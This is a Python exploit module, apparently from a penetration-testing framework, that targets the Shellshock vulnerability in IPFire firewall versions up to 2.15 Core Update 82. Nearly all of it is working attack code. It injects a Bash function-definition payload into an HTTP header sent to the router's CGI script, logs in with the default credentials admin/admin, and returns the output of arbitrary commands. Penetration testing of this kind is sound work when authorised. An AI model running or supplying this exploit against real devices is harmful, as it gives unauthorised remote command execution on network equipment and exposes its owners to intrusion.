IPFire Shellshock

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""IPFire Shellshock"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'IPFire Shellshock',
        'description': 'Exploits shellshock vulnerability in IPFire <= 2.15 Core Update 82. If the target is vulnerable it is possible to execute commands on operating system level.',
        'author': ['Claudio Viviani', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/34839'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(444, "Target HTTP port")
    ssl = OptBool(True, "SSL enabled: true/false")
    username = OptString("admin", "Username to log in with")
    password = OptString("admin", "Password to log in with")

    _shellshock_template = "() { :;}; /bin/bash -c '{{cmd}}'"

    def execute(self, cmd):
        marker = self.random_text(32)
        cmd = "echo {};{}".format(marker, cmd)
        payload = self._shellshock_template.replace("{{cmd}}", cmd)

        headers = {
            "VULN": payload,
        }

        response = self.http_request(
            method="GET",
            path="/cgi-bin/index.cgi",
            headers=headers,
            auth=(self.username, self.password)
        )
        if response is None:
            return ""

        if response.status_code == 200:
            start = response.text.find(marker) + len(marker) + 1  # marker and whitespace
            end = response.text.find("<!DOCTYPE html>", start)

            return response.text[start:end]

        return ""
    def check(self):
        marker = self.random_text(32)
        cmd = "echo {}".format(marker)
        payload = self._shellshock_template.replace("{{cmd}}", cmd)

        headers = {
            "VULN": payload,
        }

        response = self.http_request(
            method="GET",
            path="/cgi-bin/index.cgi",
            headers=headers,
            auth=(self.username, self.password)
        )

        if response and marker in response.text:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()